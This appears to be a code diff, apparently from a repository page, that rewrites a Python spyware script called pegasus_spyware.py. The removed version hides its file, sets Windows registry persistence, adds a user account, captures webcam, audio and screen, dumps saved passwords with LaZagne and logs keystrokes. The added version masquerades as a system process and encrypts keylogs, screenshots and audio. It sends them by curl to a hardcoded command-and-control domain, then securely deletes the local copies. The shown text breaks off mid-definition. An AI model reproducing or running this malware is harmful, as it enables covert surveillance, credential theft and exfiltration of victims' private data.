1- import sounddevice as sd
2- import cv2
3- from scipy . io . wavfile import write
4- import wavio as wv
5- import numpy as np
1+ # /src/exploits/zero-click_exploits/pegasus/pegasus_controller/pegasus_spyware.py
2+
3+ import os
4+ import sys
5+ import json
66import time
7- import pyautogui
8- from pynput .keyboard import Listener
9- import subprocess
10- import shutil , os , subprocess
117import threading
12- import smtplib
13- from email .mime .multipart import MIMEMultipart
14- from email .mime .text import MIMEText
15- from email .mime .base import MIMEBase
16- from email import encoders
17-
18- freq = 44100
19- duration = 5
20-
21- def hide_file ():
22- path = 'attrib +s +h "C:\\ Users\\ Dell\\ OneDrive\\ Desktop\\ pegasus\\ 10.combining_all_functionality\\ pegasus_spyware.py"'
23- subprocess .call (path , shell = True )
24- print ("hiding_file" )
25-
26- hide_file ()
27-
28- def become_persistance ():
29- subprocess .call ("REG ADD HKCU\\ SOFTWARE\\ Microsoft\\ Windows\\ CurrentVersion\\ Run /v pegasus /t REG_SZ /d 'C:\\ Users\\ Dell\\ OneDrive\\ Desktop\\ pegasus\\ PEGASUS\\ pegasus.exe' " )
30- print ("persistent ..!" )
31-
32- become_persistance ()
33-
34- def esculate_priv ():
35- subprocess .run ("net user pegasus /add" )
36- print ("esculated priv" )
37-
38- esculate_priv ()
39-
40- def capture_image ():
41- camera = cv2 .VideoCapture (0 )
42- return_value , image = camera .read ()
43- cv2 .imwrite ('capture_img' + '.png' , image )
44- del (camera )
45-
46- capture_image ()
47-
48- def record_audio ():
49- recording = sd .rec (int (duration * freq ),samplerate = freq , channels = 2 )
50- sd .wait ()
51- write ("recording0.wav" , freq , recording )
52- encrypt_file ("recording0.wav" )
53-
54- def encrypt_file (file_path ):
55- key = b'secret_key'
56- with open (file_path , 'rb' ) as f :
57- data = f .read ()
58- encrypted_data = bytearray (data )
59- for i in range (len (encrypted_data )):
60- encrypted_data [i ] ^= key [i % len (key )]
61- with open (file_path , 'wb' ) as f :
62- f .write (encrypted_data )
63-
64- record_audio ()
65-
66- def capture_screen ():
67- image = pyautogui .screenshot ()
68- image = cv2 .cvtColor (np .array (image ),cv2 .COLOR_RGB2BGR )
69- cv2 .imwrite ("screenshot.png" , image )
70-
71- capture_screen ()
72-
73- def save_passwd ():
74- subprocess .call ('python "C:\\ Users\\ Dell\\ OneDrive\\ Desktop\\ pegasus\\ LaZagne-2.4.3\\ Windows\\ laZagne.py" all > saved_password.txt' , shell = True )
75- subprocess .call ("exit" , shell = True )
76-
77- def getKey (key ):
78- key = fixKey (key )
79- file = open ('log.txt' , 'a' )
80- file .write (key .replace ('\' ' , '' ) + '' )
81- file .close ()
82-
83- def fixKey (key ):
84- key = str (key )
85- if key == 'Key.space' :
86- return ' '
87- elif key == 'Key.enter' :
88- return '\n '
89- return key
90-
91- def evade_detection ():
92- os .rename ("recording0.wav" , "hidden_recording.wav" )
93-
94- def validate_ai_integration ():
95- pass
96-
97- def confirm_security_measures ():
98- pass
99-
100- def ensure_deployment_methods ():
101- pass
102-
103- def main ():
104- thread2 = threading .Thread (target = save_passwd , args = ())
105- thread2 .start ()
106-
107- with Listener (on_press = getKey ) as listener :
108- listener .join ()
109-
110- main ()
111-
112- evade_detection ()
113- validate_ai_integration ()
114- confirm_security_measures ()
115- ensure_deployment_methods ()
8+ import tempfile
9+ import subprocess
10+ import hashlib
11+ import base64
12+ import shutil
13+ import stat
14+ from pathlib import Path
15+ from datetime import datetime
16+
17+ # --- Imports for Module Functions ---
18+ try :
19+ import cv2
20+ import pyautogui
21+ import sounddevice as sd
22+ from scipy .io .wavfile import write
23+ from pynput import keyboard
24+ except ImportError :
25+ print ("[-] Required libraries (opencv-python, pyautogui, sounddevice, scipy, pynput) not found." )
26+ sys .exit (1 )
27+
28+ # --- Global Configuration ---
29+ # In a real deployment, this key and C2 details would be provided by a dropper or C2.
30+ ENCRYPTION_KEY = hashlib .sha256 (b'PegasusSAP_Controller_Key_2026_V1' ).digest ()
31+ C2_DOMAIN = "zeroclickexploits.ddns.net"
32+ C2_PORT = 443
33+ C2_ENDPOINT = f"https://{ C2_DOMAIN } :{ C2_PORT } /api/v1/telemetry"
34+ TARGET_ID = os .environ .get ("TARGET_ID" , "unknown" )
35+
36+ # --- Data Staging ---
37+ TEMP_DIR = tempfile .mkdtemp (prefix = "pegasus_" )
38+ STAGING_DIR = Path (TEMP_DIR )
39+ STAGING_DIR .mkdir (exist_ok = True )
40+
41+ # --- Evasion and Anti-Forensics ---
42+ def _log_event (message , level = 'info' ):
43+ """Internal logger to prevent writing to disk."""
44+ timestamp = datetime .now ().isoformat ()
45+ print (f"[{ timestamp } ] [{ level .upper ()} ] { message } " )
46+
47+ def hide_process ():
48+ """Conceptual placeholder for process hiding techniques."""
49+ try :
50+ if sys .platform .startswith ('linux' ):
51+ import ctypes
52+ libc = ctypes .CDLL ('libc.so.6' )
53+ libc .prctl (15 , "systemd" .encode (), 0 , 0 , 0 )
54+ _log_event ("Process masquerading as a system process." )
55+ except Exception :
56+ pass
57+
58+ def encrypt_file_aes_gcm (file_path , key ):
59+ """Encrypts a file using AES-256 in GCM mode."""
60+ try :
61+ from Crypto .Cipher import AES
62+ from Crypto .Random import get_random_bytes
63+ nonce = get_random_bytes (12 )
64+ cipher = AES .new (key , AES .MODE_GCM , nonce = nonce )
65+ with open (file_path , 'rb' ) as f :
66+ plaintext_data = f .read ()
67+ ciphertext , auth_tag = cipher .encrypt_and_digest (plaintext_data )
68+ encrypted_data = nonce + auth_tag + ciphertext
69+ encrypted_file_path = file_path .with_suffix (file_path .suffix + ".enc" )
70+ with open (encrypted_file_path , 'wb' ) as f :
71+ f .write (encrypted_data )
72+ return encrypted_file_path
73+ except ImportError :
74+ _log_event ("PyCryptodome not found, cannot encrypt." , 'error' )
75+ return None
76+ except Exception as e :
77+ _log_event (f"Encryption failed: { e } " , 'error' )
78+ return None
79+
80+ def secure_delete_file (file_path , passes = 3 ):
81+ """Securely deletes a file by overwriting it multiple times."""
82+ try :
83+ path = Path (file_path )
84+ if not path .exists ():
85+ return
86+ with open (path , "ba+" ) as f :
87+ length = f .tell ()
88+ for _ in range (passes ):
89+ f .seek (0 )
90+ f .write (os .urandom (length ))
91+ path .chmod (stat .S_IWRITE )
92+ path .unlink ()
93+ except Exception as e :
94+ _log_event (f"Failed to securely delete { file_path } : { e } " , 'error' )
95+
96+ def exfiltrate_data (file_path ):
97+ """Exfiltrates an encrypted file to the C2 server."""
98+ try :
99+ with open (file_path , 'rb' ) as f :
100+ encrypted_data = f .read ()
101+ b64_data = base64 .b64encode (encrypted_data ).decode ('utf-8' )
102+ payload = {
103+ "type" : "pegasus_module_data" ,
104+ "timestamp" : datetime .utcnow ().isoformat () + "Z" ,
105+ "target_id" : TARGET_ID ,
106+ "filename" : file_path .name ,
107+ "data" : b64_data
108+ }
109+ json_payload = json .dumps (payload )
110+ cmd = [
111+ "curl" , "-k" , "-s" , "-X" , "POST" ,
112+ "-H" , "Content-Type: application/json" ,
113+ "-H" , "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" ,
114+ "-d" , json_payload ,
115+ "--connect-timeout" , "10" ,
116+ "--max-time" , "60" ,
117+ C2_ENDPOINT
118+ ]
119+ result = subprocess .run (cmd , capture_output = True , text = True , timeout = 70 )
120+ if result .returncode == 0 :
121+ _log_event (f"Successfully exfiltrated { file_path .name } ." )
122+ return True
123+ else :
124+ _log_event (f"C2 exfiltration failed. Status: { result .returncode } " , 'error' )
125+ return False
126+ except Exception as e :
127+ _log_event (f"An error occurred during C2 exfiltration: { e } " , 'error' )
128+ return False
129+
130+ # --- Core Spyware Modules ---
131+ class KeyloggerModule (threading .Thread ):
132+ def __init__ (self ):
133+ super ().__init__ (daemon = True )
134+ self .log_path = STAGING_DIR / "keylog.txt"
135+ self ._stop_event = threading .Event ()
136+
137+ def run (self ):
138+ _log_event ("Keylogger module started." )
139+ with open (self .log_path , 'a' ) as f :
140+ f .write (f"\n --- Keylogger Session Start: { datetime .now ()} ---\n " )
141+ def on_press (key ):
142+ if self ._stop_event .is_set ():
143+ return False
144+ try :
145+ with open (self .log_path , 'a' ) as f :
146+ if hasattr (key , 'char' ) and key .char is not None :
147+ f .write (key .char )
148+ else :
149+ f .write (f' [{ str (key )} ] ' )
150+ except Exception as e :
151+ _log_event (f"Keylogger write error: { e } " , 'error' )
152+ with keyboard .Listener (on_press = on_press ) as listener :
153+ listener .join ()
154+ _log_event ("Keylogger module stopped." )
155+
156+ def stop (self ):
157+ self ._stop_event .set ()
158+
159+ def exfiltrate_and_clear (self ):
160+ if self .log_path .exists () and self .log_path .stat ().st_size > 0 :
161+ encrypted_path = encrypt_file_aes_gcm (self .log_path , ENCRYPTION_KEY )
162+ if encrypted_path and exfiltrate_data (encrypted_path ):
163+ secure_delete_file (encrypted_path )
164+ with open (self .log_path , 'w' ) as f :
165+ f .truncate (0 )
166+
167+ class ScreenCaptureModule (threading .Thread ):
168+ def __init__ (self , interval = 300 ): # 5 minutes
169+ super ().__init__ (daemon = True )
170+ self .interval = interval
171+ self ._stop_event = threading .Event ()
172+
173+ def run (self ):
174+ _log_event ("Screen capture module started." )
175+ while not self ._stop_event .is_set ():
176+ try :
177+ timestamp = int (time .time ())
178+ img_path = STAGING_DIR / f"scr_{ timestamp } .png"
179+ screenshot = pyautogui .screenshot ()
180+ screenshot_cv = cv2 .cvtColor (np .array (screenshot ), cv2 .COLOR_RGB2BGR )
181+ cv2 .imwrite (str (img_path ), screenshot_cv )
182+ _log_event (f"Screenshot captured: { img_path .name } " )
183+ encrypted_path = encrypt_file_aes_gcm (img_path , ENCRYPTION_KEY )
184+ if encrypted_path and exfiltrate_data (encrypted_path ):
185+ secure_delete_file (encrypted_path )
186+ secure_delete_file (img_path )
187+ except Exception as e :
188+ _log_event (f"Screenshot failed: { e } " , 'error' )
189+ time .sleep (self .interval )
190+ _log_event ("Screen capture module stopped." )
191+
192+ def stop (self ):
193+ self ._stop_event .set ()
194+
195+ class AudioCaptureModule (threading .Thread ):
196+ def __init__ (self , duration = 10 , interval = 600 ): # 10 second recording every 10 minutes
197+ super ().__init__ (daemon = True )
198+ self .duration = duration
199+ self .interval = interval
200+ self ._stop_event = threading .Event ()
201+
202+ def run (self ):
203+ _log_event ("Audio capture module started." )
204+ while not self ._stop_event .is_set ():
205+ try :
206+ timestamp = int (time .time ())
207+ wav_path = STAGING_DIR / f"aud_{ timestamp } .wav"
208+ freq = 44100
209+ recording = sd .rec (int (self .duration * freq ), samplerate = freq , channels = 2 )
210+ sd .wait ()
211+ write (wav_path , freq , recording )
212+ _log_event (f"Audio recorded: { wav_path .name } " )
213+ encrypted_path = encrypt_file_aes_gcm (wav_path , ENCRYPTION_KEY )
214+ if encrypted_path and exfiltrate_data (encrypted_path ):
215+ secure_delete_file (encrypted_path )
216+ secure_delete_file (wav_path )
217+ except Exception as e :
218+ _log_event (f"Audio recording failed: { e } " , 'error' )
219+ time .sleep (self .interval )
220+ _log_event ("Audio capture module stopped." )
221+
222+ def stop (self ):
223+ self ._stop_event .set ()
224+
225+ class VideoCaptureModule
0 commit comments